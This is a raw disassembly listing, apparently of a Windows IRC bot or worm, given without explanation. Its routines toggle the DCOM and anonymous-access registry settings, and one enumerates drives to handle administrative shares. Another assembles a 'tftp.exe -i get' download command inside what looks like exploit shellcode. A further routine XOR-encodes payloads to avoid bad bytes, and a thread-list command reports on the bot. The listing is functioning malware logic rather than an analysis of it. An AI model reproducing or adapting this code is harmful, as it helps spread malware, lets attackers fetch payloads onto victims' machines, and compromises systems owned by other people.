sub_41465A	proc near		; DATA XREF: sub_40CE55+59A9o

var_98		= dword	ptr -98h
var_94		= byte ptr -94h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 98h
		mov	eax, [ebp+arg_0]
		push	esi
		push	edi
		push	26h
		pop	ecx
		mov	esi, eax
		lea	edi, [ebp+var_98]
		rep movsd
		pop	edi
		pop	esi
		push	[ebp+var_8]
		cmp	[ebp+var_10], 0
		mov	dword ptr [eax+94h], 1
		lea	eax, [ebp+var_94]
		push	[ebp+var_C]
		push	eax
		push	[ebp+var_98]
		jz	short loc_4146A1
		call	sub_4146BA
		jmp	short loc_4146A6
; ---------------------------------------------------------------------------

loc_4146A1:				; CODE XREF: sub_41465A+3Ej
		call	sub_4149DE

loc_4146A6:				; CODE XREF: sub_41465A+45j
		add	esp, 10h
		push	[ebp+var_14]
		call	sub_4152AF
		pop	ecx
		push	0
		call	dword_421048	; ExitThread
sub_41465A	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4146BA	proc near		; CODE XREF: sub_41465A+40p

var_214		= byte ptr -214h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 214h
		push	esi
		push	edi
		xor	edi, edi
		cmp	dword_43A468, edi
		jnz	loc_4147EC
		lea	eax, [ebp+var_4]
		mov	esi, 80000002h
		push	eax
		push	2001Fh
		push	edi
		push	offset aSoftwareMicros ; "Software\\Microsoft\\OLE"
		push	esi
		call	dword_43A408	; RegOpenKeyExA
		test	eax, eax
		jnz	short loc_414745
		mov	ax, word_4379D0
		mov	word ptr [ebp+var_8+2],	ax
		lea	eax, [ebp+var_8+2]
		push	eax
		call	sub_415CF0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_8+2]
		push	eax
		push	1
		push	edi
		push	offset aEnabledcom ; "EnableDCOM"
		push	[ebp+var_4]
		call	dword_43A3BC	; RegSetValueExA
		test	eax, eax
		jz	short loc_414727
		push	offset unk_43798C
		jmp	short loc_41472C
; ---------------------------------------------------------------------------

loc_414727:				; CODE XREF: sub_4146BA+64j
		push	offset dword_43795C

loc_41472C:				; CODE XREF: sub_4146BA+6Bj
		lea	eax, [ebp+var_214]
		push	eax
		call	sub_4154E7
		pop	ecx
		pop	ecx
		push	[ebp+var_4]
		call	dword_43A374	; RegCloseKey
		jmp	short loc_414758
; ---------------------------------------------------------------------------

loc_414745:				; CODE XREF: sub_4146BA+36j
		lea	eax, [ebp+var_214]
		push	offset unk_437918
		push	eax
		call	sub_4154E7
		pop	ecx
		pop	ecx

loc_414758:				; CODE XREF: sub_4146BA+89j
		cmp	[ebp+arg_C], edi
		jnz	short loc_414777
		push	1
		lea	eax, [ebp+var_214]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_412D4C
		add	esp, 14h

loc_414777:				; CODE XREF: sub_4146BA+A1j
		lea	eax, [ebp+var_214]
		push	eax
		call	sub_40B16D
		pop	ecx
		lea	eax, [ebp+var_4]
		push	eax
		push	0F003Fh
		push	edi
		push	offset aSystemCurrentc ; "SYSTEM\\CurrentControlSet\\Control\\Lsa"
		push	esi
		call	dword_43A408	; RegOpenKeyExA
		test	eax, eax
		jnz	short loc_4147E5
		lea	eax, [ebp+var_8]
		push	4
		push	eax
		push	4
		push	edi
		push	offset aRestrictanonym ; "restrictanonymous"
		push	[ebp+var_4]
		mov	[ebp+var_8], 1
		call	dword_43A3BC	; RegSetValueExA
		test	eax, eax
		jz	short loc_4147C7
		push	offset unk_4378B4
		jmp	short loc_4147CC
; ---------------------------------------------------------------------------

loc_4147C7:				; CODE XREF: sub_4146BA+104j
		push	offset unk_43786C

loc_4147CC:				; CODE XREF: sub_4146BA+10Bj
		lea	eax, [ebp+var_214]
		push	eax
		call	sub_4154E7
		pop	ecx
		pop	ecx
		push	[ebp+var_4]
		call	dword_43A374	; RegCloseKey
		jmp	short loc_4147FF
; ---------------------------------------------------------------------------

loc_4147E5:				; CODE XREF: sub_4146BA+E2j
		push	offset unk_43781C
		jmp	short loc_4147F1
; ---------------------------------------------------------------------------

loc_4147EC:				; CODE XREF: sub_4146BA+13j
		push	offset unk_4377D8

loc_4147F1:				; CODE XREF: sub_4146BA+130j
		lea	eax, [ebp+var_214]
		push	eax
		call	sub_4154E7
		pop	ecx
		pop	ecx

loc_4147FF:				; CODE XREF: sub_4146BA+129j
		cmp	[ebp+arg_C], edi
		jnz	short loc_41481E
		push	1
		lea	eax, [ebp+var_214]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_412D4C
		add	esp, 14h

loc_41481E:				; CODE XREF: sub_4146BA+148j
		lea	eax, [ebp+var_214]
		push	eax
		call	sub_40B16D
		cmp	dword_43A490, edi
		pop	ecx
		jnz	loc_414999
		push	ebx
		mov	[ebp+var_4], edi
		mov	[ebp+var_14], edi
		mov	[ebp+var_C], edi

loc_414841:				; CODE XREF: sub_4146BA+2C3j
		lea	eax, [ebp+var_C]
		push	eax
		lea	eax, [ebp+var_14]
		push	eax
		lea	eax, [ebp+var_4]
		push	eax
		lea	eax, [ebp+var_8]
		push	0FFFFFFFFh
		push	eax
		push	1F6h
		push	edi
		call	dword_43A2E4
		cmp	eax, edi
		mov	[ebp+var_10], eax
		jz	short loc_4148DE
		cmp	eax, 0EAh
		jz	short loc_4148DE
		mov	esi, offset off_437628

loc_414872:				; CODE XREF: sub_4146BA+21Dj
		push	dword ptr [esi]
		push	edi
		call	sub_41339D
		pop	ecx
		pop	ecx
		push	dword ptr [esi]
		test	eax, eax
		jnz	short loc_414889
		push	offset unk_4377A0
		jmp	short loc_41488E
; ---------------------------------------------------------------------------

loc_414889:				; CODE XREF: sub_4146BA+1C6j
		push	offset unk_437760

loc_41488E:				; CODE XREF: sub_4146BA+1CDj
		lea	eax, [ebp+var_214]
		push	200h
		push	eax
		call	sub_415A6A
		add	esp, 10h
		cmp	[ebp+arg_C], edi
		jnz	short loc_4148C1
		push	1
		lea	eax, [ebp+var_214]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_412D4C
		add	esp, 14h

loc_4148C1:				; CODE XREF: sub_4146BA+1EBj
		lea	eax, [ebp+var_214]
		push	eax
		call	sub_40B16D
		add	esi, 8
		pop	ecx
		cmp	esi, offset dword_437648
		jl	short loc_414872
		jmp	loc_414976
; ---------------------------------------------------------------------------

loc_4148DE:				; CODE XREF: sub_4146BA+1AAj
					; sub_4146BA+1B1j
		mov	esi, [ebp+var_8]
		push	1
		pop	ebx
		cmp	[ebp+var_4], ebx
		jb	loc_41496D

loc_4148ED:				; CODE XREF: sub_4146BA+2AFj
		mov	edi, [esi]
		push	edi
		call	sub_4179DC
		cmp	word ptr [edi+eax*2-2],	24h
		pop	ecx
		jnz	short loc_414962
		push	edi
		call	sub_41328A
		push	eax
		push	0
		call	sub_41339D
		add	esp, 0Ch
		push	dword ptr [esi]
		test	eax, eax
		jnz	short loc_41491C
		push	offset unk_437728
		jmp	short loc_414921
; ---------------------------------------------------------------------------

loc_41491C:				; CODE XREF: sub_4146BA+259j
		push	offset unk_4376E8

loc_414921:				; CODE XREF: sub_4146BA+260j
		lea	eax, [ebp+var_214]
		push	200h
		push	eax
		call	sub_415A6A
		add	esp, 10h
		cmp	[ebp+arg_C], 0
		jnz	short loc_414955
		push	1
		lea	eax, [ebp+var_214]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_412D4C
		add	esp, 14h

loc_414955:				; CODE XREF: sub_4146BA+27Fj
		lea	eax, [ebp+var_214]
		push	eax
		call	sub_40B16D
		pop	ecx

loc_414962:				; CODE XREF: sub_4146BA+242j
		add	esi, 28h
		inc	ebx
		cmp	ebx, [ebp+var_4]
		jbe	short loc_4148ED
		xor	edi, edi

loc_41496D:				; CODE XREF: sub_4146BA+22Dj
		push	[ebp+var_8]
		call	dword_43A428

loc_414976:				; CODE XREF: sub_4146BA+21Fj
		cmp	[ebp+var_10], 0EAh
		jz	loc_414841
		lea	eax, [ebp+var_214]
		push	offset unk_4376AC
		push	eax
		call	sub_4154E7
		pop	ecx
		pop	ecx
		pop	ebx
		jmp	short loc_4149AC
; ---------------------------------------------------------------------------

loc_414999:				; CODE XREF: sub_4146BA+177j
		lea	eax, [ebp+var_214]
		push	offset unk_437668
		push	eax
		call	sub_4154E7
		pop	ecx
		pop	ecx

loc_4149AC:				; CODE XREF: sub_4146BA+2DDj
		cmp	[ebp+arg_C], edi
		jnz	short loc_4149CA
		push	edi
		lea	eax, [ebp+var_214]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_412D4C
		add	esp, 14h

loc_4149CA:				; CODE XREF: sub_4146BA+2F5j
		lea	eax, [ebp+var_214]
		push	eax
		call	sub_40B16D
		pop	ecx
		push	1
		pop	eax
		pop	edi
		pop	esi
		leave
		retn
sub_4146BA	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4149DE	proc near		; CODE XREF: sub_41465A:loc_4146A1p

var_220		= byte ptr -220h
var_20		= byte ptr -20h
var_14		= byte ptr -14h
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 220h
		push	ebx
		xor	ebx, ebx
		cmp	dword_43A468, ebx
		push	esi
		jnz	loc_414B0C
		lea	eax, [ebp+var_4]
		mov	esi, 80000002h
		push	eax
		push	2001Fh
		push	ebx
		push	offset aSoftwareMicros ; "Software\\Microsoft\\OLE"
		push	esi
		call	dword_43A408	; RegOpenKeyExA
		test	eax, eax
		jnz	short loc_414A69
		mov	ax, word_437BD8
		mov	word ptr [ebp+var_8+2],	ax
		lea	eax, [ebp+var_8+2]
		push	eax
		call	sub_415CF0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_8+2]
		push	eax
		push	1
		push	ebx
		push	offset aEnabledcom ; "EnableDCOM"
		push	[ebp+var_4]
		call	dword_43A3BC	; RegSetValueExA
		test	eax, eax
		jz	short loc_414A4B
		push	offset unk_437BA0
		jmp	short loc_414A50
; ---------------------------------------------------------------------------

loc_414A4B:				; CODE XREF: sub_4149DE+64j
		push	offset dword_437B70

loc_414A50:				; CODE XREF: sub_4149DE+6Bj
		lea	eax, [ebp+var_220]
		push	eax
		call	sub_4154E7
		pop	ecx
		pop	ecx
		push	[ebp+var_4]
		call	dword_43A374	; RegCloseKey
		jmp	short loc_414A7C
; ---------------------------------------------------------------------------

loc_414A69:				; CODE XREF: sub_4149DE+36j
		lea	eax, [ebp+var_220]
		push	offset unk_437918
		push	eax
		call	sub_4154E7
		pop	ecx
		pop	ecx

loc_414A7C:				; CODE XREF: sub_4149DE+89j
		cmp	[ebp+arg_C], ebx
		jnz	short loc_414A9B
		push	1
		lea	eax, [ebp+var_220]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_412D4C
		add	esp, 14h

loc_414A9B:				; CODE XREF: sub_4149DE+A1j
		lea	eax, [ebp+var_220]
		push	eax
		call	sub_40B16D
		pop	ecx
		lea	eax, [ebp+var_4]
		push	eax
		push	0F003Fh
		push	ebx
		push	offset aSystemCurrentc ; "SYSTEM\\CurrentControlSet\\Control\\Lsa"
		push	esi
		call	dword_43A408	; RegOpenKeyExA
		test	eax, eax
		jnz	short loc_414B05
		lea	eax, [ebp+var_8]
		push	4
		push	eax
		push	4
		push	ebx
		push	offset aRestrictanonym ; "restrictanonymous"
		push	[ebp+var_4]
		mov	[ebp+var_8], ebx
		call	dword_43A3BC	; RegSetValueExA
		test	eax, eax
		jz	short loc_414AE7
		push	offset unk_437B20
		jmp	short loc_414AEC
; ---------------------------------------------------------------------------

loc_414AE7:				; CODE XREF: sub_4149DE+100j
		push	offset unk_437AD8

loc_414AEC:				; CODE XREF: sub_4149DE+107j
		lea	eax, [ebp+var_220]
		push	eax
		call	sub_4154E7
		pop	ecx
		pop	ecx
		push	[ebp+var_4]
		call	dword_43A374	; RegCloseKey
		jmp	short loc_414B1F
; ---------------------------------------------------------------------------

loc_414B05:				; CODE XREF: sub_4149DE+E2j
		push	offset unk_437A88
		jmp	short loc_414B11
; ---------------------------------------------------------------------------

loc_414B0C:				; CODE XREF: sub_4149DE+13j
		push	offset unk_4377D8

loc_414B11:				; CODE XREF: sub_4149DE+12Cj
		lea	eax, [ebp+var_220]
		push	eax
		call	sub_4154E7
		pop	ecx
		pop	ecx

loc_414B1F:				; CODE XREF: sub_4149DE+125j
		cmp	[ebp+arg_C], ebx
		jnz	short loc_414B3E
		push	1
		lea	eax, [ebp+var_220]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_412D4C
		add	esp, 14h

loc_414B3E:				; CODE XREF: sub_4149DE+144j
		lea	eax, [ebp+var_220]
		push	eax
		call	sub_40B16D
		cmp	dword_43A490, ebx
		pop	ecx
		jnz	loc_414CB0
		push	edi
		mov	esi, offset off_437628
		mov	edi, 200h

loc_414B62:				; CODE XREF: sub_4149DE+1E9j
		push	dword ptr [esi+4]
		push	dword ptr [esi]
		push	ebx
		call	sub_4132F1
		add	esp, 0Ch
		push	dword ptr [esi]
		test	eax, eax
		jnz	short loc_414B7D
		push	offset unk_437A54
		jmp	short loc_414B82
; ---------------------------------------------------------------------------

loc_414B7D:				; CODE XREF: sub_4149DE+196j
		push	offset unk_437A18

loc_414B82:				; CODE XREF: sub_4149DE+19Dj
		lea	eax, [ebp+var_220]
		push	edi
		push	eax
		call	sub_415A6A
		add	esp, 10h
		cmp	[ebp+arg_C], ebx
		jnz	short loc_414BB1
		push	1
		lea	eax, [ebp+var_220]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_412D4C
		add	esp, 14h

loc_414BB1:				; CODE XREF: sub_4149DE+1B7j
		lea	eax, [ebp+var_220]
		push	eax
		call	sub_40B16D
		add	esi, 8
		pop	ecx
		cmp	esi, offset off_437638
		jl	short loc_414B62
		call	dword_421148	; GetLogicalDrives
		test	eax, eax
		mov	[ebp+var_4], eax
		mov	bl, 41h
		jz	loc_414C98

loc_414BDC:				; CODE XREF: sub_4149DE+2B4j
		mov	eax, [ebp+var_4]
		and	eax, 1
		cmp	al, 1
		jnz	loc_414C8D
		cmp	bl, 41h
		jz	loc_414C8D
		movsx	esi, bl
		push	esi
		push	offset aC_3	; "%c$"
		lea	eax, [ebp+var_14]
		push	0Ah
		push	eax
		call	sub_415A6A
		push	esi
		push	offset aC_2	; "%c:\\"
		lea	eax, [ebp+var_20]
		push	0Ah
		push	eax
		call	sub_415A6A
		add	esp, 20h
		lea	eax, [ebp+var_20]
		push	eax
		call	dword_43A3F8	; GetDriveTypeA
		cmp	eax, 3
		jnz	short loc_414C8D
		lea	eax, [ebp+var_20]
		push	eax
		lea	eax, [ebp+var_14]
		push	eax
		push	0
		call	sub_4132F1
		add	esp, 0Ch
		test	eax, eax
		lea	eax, [ebp+var_14]
		push	eax
		jnz	short loc_414C4B
		push	offset unk_437A54
		jmp	short loc_414C50
; ---------------------------------------------------------------------------

loc_414C4B:				; CODE XREF: sub_4149DE+264j
		push	offset unk_437A18

loc_414C50:				; CODE XREF: sub_4149DE+26Bj
		lea	eax, [ebp+var_220]
		push	edi
		push	eax
		call	sub_415A6A
		add	esp, 10h
		cmp	[ebp+arg_C], 0
		jnz	short loc_414C80
		push	1
		lea	eax, [ebp+var_220]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_412D4C
		add	esp, 14h

loc_414C80:				; CODE XREF: sub_4149DE+286j
		lea	eax, [ebp+var_220]
		push	eax
		call	sub_40B16D
		pop	ecx

loc_414C8D:				; CODE XREF: sub_4149DE+206j
					; sub_4149DE+20Fj ...
		inc	bl
		shr	[ebp+var_4], 1
		jnz	loc_414BDC

loc_414C98:				; CODE XREF: sub_4149DE+1F8j
		lea	eax, [ebp+var_220]
		push	offset unk_4379D4
		push	eax
		call	sub_4154E7
		pop	ecx
		xor	ebx, ebx
		pop	ecx
		pop	edi
		jmp	short loc_414CC3
; ---------------------------------------------------------------------------

loc_414CB0:				; CODE XREF: sub_4149DE+173j
		lea	eax, [ebp+var_220]
		push	offset unk_437668
		push	eax
		call	sub_4154E7
		pop	ecx
		pop	ecx

loc_414CC3:				; CODE XREF: sub_4149DE+2D0j
		cmp	[ebp+arg_C], ebx
		jnz	short loc_414CE1
		push	ebx
		lea	eax, [ebp+var_220]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_412D4C
		add	esp, 14h

loc_414CE1:				; CODE XREF: sub_4149DE+2E8j
		lea	eax, [ebp+var_220]
		push	eax
		call	sub_40B16D
		pop	ecx
		push	1
		pop	eax
		pop	esi
		pop	ebx
		leave
		retn
sub_4149DE	endp


; =============== S U B	R O U T	I N E =======================================



sub_414CF5	proc near		; CODE XREF: sub_414D15+Ap
					; sub_414DED+8p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	esi
		push	[esp+4+arg_0]
		call	sub_415CF0
		push	[esp+8+arg_4]
		mov	esi, eax
		call	sub_415CF0
		pop	ecx
		lea	eax, [esi+eax*2+0C1h]
		pop	ecx
		pop	esi
		retn
sub_414CF5	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_414D15	proc near		; CODE XREF: sub_414E04+49p

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		push	ecx
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		call	sub_414CF5
		cmp	eax, [ebp+arg_4]
		pop	ecx
		pop	ecx
		mov	[ebp+var_4], eax
		jbe	short loc_414D32
		xor	eax, eax
		leave
		retn
; ---------------------------------------------------------------------------

loc_414D32:				; CODE XREF: sub_414D15+17j
		push	ebx
		push	esi
		push	edi
		push	[ebp+arg_8]
		call	sub_415CF0
		push	[ebp+arg_C]
		mov	esi, eax
		call	sub_415CF0
		mov	edi, eax
		mov	ebx, [ebp+arg_0]
		push	0FFFFFFEDh
		lea	eax, [edi+esi+12h]
		mov	dword_437C70, eax
		lea	eax, [edi+1]
		mov	dword_437C91, eax
		lea	eax, [edi+17h]
		mov	dword_437C89, eax
		pop	eax
		push	74h
		sub	eax, edi
		push	offset dword_437C0C
		push	ebx
		mov	dword_437C9F, eax
		call	sub_4155D0
		push	esi
		lea	eax, [ebx+74h]
		push	[ebp+arg_8]
		push	eax
		call	sub_4155D0
		add	esi, 74h
		push	5
		push	(offset	aTftp_exeIGet+0Ch)
		lea	eax, [esi+ebx]
		push	eax
		call	sub_4155D0
		add	esi, 5
		push	edi
		push	[ebp+arg_C]
		lea	eax, [esi+ebx]
		push	eax
		call	sub_4155D0
		add	esi, edi
		push	10h
		push	(offset	aTftp_exeIGet+11h)
		lea	eax, [esi+ebx]
		push	eax
		call	sub_4155D0
		add	esp, 44h
		add	esi, 10h
		push	edi
		lea	eax, [esi+ebx]
		push	[ebp+arg_C]
		push	eax
		call	sub_4155D0
		add	esi, edi
		push	38h
		add	esi, ebx
		push	offset byte_437C95
		push	esi
		call	sub_4155D0
		mov	eax, [ebp+var_4]
		add	esp, 18h
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_414D15	endp


; =============== S U B	R O U T	I N E =======================================



sub_414DED	proc near		; CODE XREF: sub_414E04+Dp

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	[esp+arg_4]
		push	[esp+4+arg_0]
		call	sub_414CF5
		push	eax
		call	sub_414E71
		add	esp, 0Ch
		retn
sub_414DED	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_414E04	proc near		; CODE XREF: sub_403178+32p

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		push	ebx
		mov	ebx, [ebp+arg_8]
		push	edi
		mov	edi, [ebp+arg_C]
		push	edi
		push	ebx
		call	sub_414DED
		cmp	eax, [ebp+arg_4]
		pop	ecx
		pop	ecx
		ja	short loc_414E24
		cmp	eax, 0FFFFh
		jbe	short loc_414E28

loc_414E24:				; CODE XREF: sub_414E04+17j
		xor	eax, eax
		jmp	short loc_414E6D
; ---------------------------------------------------------------------------

loc_414E28:				; CODE XREF: sub_414E04+1Ej
		push	esi
		push	edi
		push	ebx
		call	sub_414CF5
		add	eax, 101h
		push	eax
		call	sub_415DC9
		add	esp, 0Ch
		mov	esi, eax
		push	edi
		push	ebx
		push	edi
		push	ebx
		call	sub_414CF5
		pop	ecx
		pop	ecx
		push	eax
		push	esi
		call	sub_414D15
		push	eax
		push	esi
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_414E8C
		push	esi
		mov	edi, eax
		call	sub_415E3D
		add	esp, 24h
		mov	eax, edi
		pop	esi

loc_414E6D:				; CODE XREF: sub_414E04+22j
		pop	edi
		pop	ebx
		pop	ebp
		retn
sub_414E04	endp


; =============== S U B	R O U T	I N E =======================================



sub_414E71	proc near		; CODE XREF: sub_414DED+Ep
					; sub_414E8C+4Ap

arg_0		= dword	ptr  4

		mov	ecx, [esp+arg_0]
		test	cl, cl
		jnz	short loc_414E7A
		inc	ecx

loc_414E7A:				; CODE XREF: sub_414E71+6j
		mov	eax, 0FFh
		cmp	eax, ecx
		sbb	eax, eax
		and	eax, 2
		add	eax, 15h
		add	eax, ecx
		retn
sub_414E71	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_414E8C	proc near		; CODE XREF: sub_414E04+56p

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		push	ecx
		cmp	byte ptr [ebp+arg_C], 0Ah
		jz	short loc_414EA8
		cmp	byte ptr [ebp+arg_C], 0Dh
		jz	short loc_414EA8
		cmp	byte ptr [ebp+arg_C], 5Ch
		jz	short loc_414EA8
		cmp	byte ptr [ebp+arg_C], 0
		jnz	short loc_414EAB

loc_414EA8:				; CODE XREF: sub_414E8C+8j
					; sub_414E8C+Ej ...
		inc	[ebp+arg_C]

loc_414EAB:				; CODE XREF: sub_414E8C+1Aj
		push	esi
		mov	esi, 0FFh
		cmp	[ebp+arg_C], esi
		jbe	short loc_414ED3
		mov	eax, [ebp+arg_C]
		shr	eax, 8
		cmp	al, 0Ah
		jz	short loc_414ECC
		cmp	al, 0Dh
		jz	short loc_414ECC
		cmp	al, 5Ch
		jz	short loc_414ECC
		test	al, al
		jnz	short loc_414ED3

loc_414ECC:				; CODE XREF: sub_414E8C+32j
					; sub_414E8C+36j ...
		add	[ebp+arg_C], 100h

loc_414ED3:				; CODE XREF: sub_414E8C+28j
					; sub_414E8C+3Ej
		push	[ebp+arg_C]
		call	sub_414E71
		cmp	eax, [ebp+arg_4]
		pop	ecx
		mov	[ebp+var_4], eax
		ja	short loc_414EEB
		cmp	eax, 0FFFFh
		jbe	short loc_414EF2

loc_414EEB:				; CODE XREF: sub_414E8C+56j
		xor	eax, eax
		jmp	loc_414F90
; ---------------------------------------------------------------------------

loc_414EF2:				; CODE XREF: sub_414E8C+5Dj
		mov	ecx, [ebp+arg_C]
		push	ebx
		mov	bl, byte_469468
		xor	edx, edx
		push	edi
		mov	edi, [ebp+arg_8]
		test	ecx, ecx
		jbe	short loc_414F22

loc_414F06:				; CODE XREF: sub_414E8C+94j
		mov	al, [edx+edi]
		xor	al, bl
		jz	short loc_414F19
		cmp	al, 0Ah
		jz	short loc_414F19
		cmp	al, 0Dh
		jz	short loc_414F19
		cmp	al, 5Ch
		jnz	short loc_414F1D

loc_414F19:				; CODE XREF: sub_414E8C+7Fj
					; sub_414E8C+83j ...
		inc	bl
		xor	edx, edx

loc_414F1D:				; CODE XREF: sub_414E8C+8Bj
		inc	edx
		cmp	edx, ecx
		jb	short loc_414F06

loc_414F22:				; CODE XREF: sub_414E8C+78j
		cmp	ecx, esi
		mov	byte_469468, bl
		ja	short loc_414F4E
		push	15h
		push	offset loc_437BF4
		push	[ebp+arg_0]
		mov	byte_437C01, cl
		mov	byte_437C05, bl
		call	sub_4155D0
		add	esp, 0Ch
		push	15h
		jmp	short loc_414F6F
; ---------------------------------------------------------------------------

loc_414F4E:				; CODE XREF: sub_414E8C+9Ej
		push	17h
		push	offset loc_437BDC
		push	[ebp+arg_0]
		mov	word_437BEA, cx
		mov	byte_437BEF, bl
		call	sub_4155D0
		add	esp, 0Ch
		push	17h

loc_414F6F:				; CODE XREF: sub_414E8C+C0j
		xor	eax, eax
		pop	ecx
		cmp	[ebp+arg_C], eax
		jbe	short loc_414F8B
		mov	edx, [ebp+arg_0]
		lea	esi, [ecx+edx]

loc_414F7D:				; CODE XREF: sub_414E8C+FDj
		mov	cl, [eax+edi]
		xor	cl, bl
		mov	[esi+eax], cl
		inc	eax
		cmp	eax, [ebp+arg_C]
		jb	short loc_414F7D

loc_414F8B:				; CODE XREF: sub_414E8C+E9j
		mov	eax, [ebp+var_4]
		pop	edi
		pop	ebx

loc_414F90:				; CODE XREF: sub_414E8C+61j
		pop	esi
		leave
		retn
sub_414E8C	endp


; =============== S U B	R O U T	I N E =======================================



sub_414F93	proc near		; CODE XREF: sub_406100+220p
					; sub_407276+F0p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	edi
		xor	edi, edi
		mov	eax, offset dword_43F328

loc_414F9B:				; CODE XREF: sub_414F93+18j
		cmp	byte ptr [eax],	0
		jz	short loc_414FAF
		add	eax, 234h
		inc	edi
		cmp	eax, offset dword_468818
		jl	short loc_414F9B
		jmp	short loc_414FFA
; ---------------------------------------------------------------------------

loc_414FAF:				; CODE XREF: sub_414F93+Bj
		push	esi
		mov	esi, edi
		imul	esi, 234h
		push	1FFh
		push	[esp+0Ch+arg_0]
		lea	eax, dword_43F328[esi]
		push	eax
		call	sub_416D40
		mov	eax, [esp+14h+arg_4]
		add	esp, 0Ch
		mov	dword_43F528[esi], eax
		and	dword_43F52C[esi], 0
		mov	eax, [esp+8+arg_8]
		and	dword_43F530[esi], 0
		mov	dword_43F534[esi], eax
		and	byte_43F540[esi], 0
		pop	esi

loc_414FFA:				; CODE XREF: sub_414F93+1Aj
		mov	eax, edi
		pop	edi
		retn
sub_414F93	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_414FFE	proc near		; DATA XREF: sub_40CE55+5631o

var_98		= dword	ptr -98h
var_94		= byte ptr -94h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 98h
		mov	eax, [ebp+arg_0]
		push	esi
		push	edi
		push	26h
		pop	ecx
		mov	esi, eax
		lea	edi, [ebp+var_98]
		rep movsd
		push	[ebp+var_10]
		mov	dword ptr [eax+94h], 1
		lea	eax, [ebp+var_94]
		push	[ebp+var_C]
		push	eax
		push	[ebp+var_98]
		call	sub_415050
		push	[ebp+var_14]
		call	sub_4152AF
		add	esp, 14h
		push	0
		call	dword_421048	; ExitThread
		pop	edi
		pop	esi
sub_414FFE	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_415050	proc near		; CODE XREF: sub_414FFE+38p

var_200		= byte ptr -200h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 200h
		push	esi
		push	edi
		push	0
		push	[ebp+arg_8]
		push	offset aThreadList ; "-[Thread List]-"
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_412D4C
		add	esp, 14h
		xor	edi, edi
		mov	esi, offset dword_43F328

loc_41507A:				; CODE XREF: sub_415050+78j
		cmp	byte ptr [esi],	0
		jz	short loc_4150BB
		cmp	[ebp+arg_C], 0
		jnz	short loc_41508E
		cmp	dword ptr [esi+204h], 0
		jnz	short loc_4150BB

loc_41508E:				; CODE XREF: sub_415050+33j
		push	esi
		push	edi
		lea	eax, [ebp+var_200]
		push	offset aD_S	; "%d. %s"
		push	eax
		call	sub_4154E7
		push	1
		lea	eax, [ebp+var_200]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_412D4C
		add	esp, 24h

loc_4150BB:				; CODE XREF: sub_415050+2Dj
					; sub_415050+3Cj
		add	esi, 234h
		inc	edi
		cmp	esi, offset dword_468818
		jl	short loc_41507A
		pop	edi
		pop	esi
		leave
		retn
sub_415050	endp


; =============== S U B	R O U T	I N E =======================================



sub_4150CE	proc near		; CODE XREF: sub_40CE55+4A16p
					; sub_41515C+12p ...

arg_0		= dword	ptr  4

		push	ebx
		push	ebp
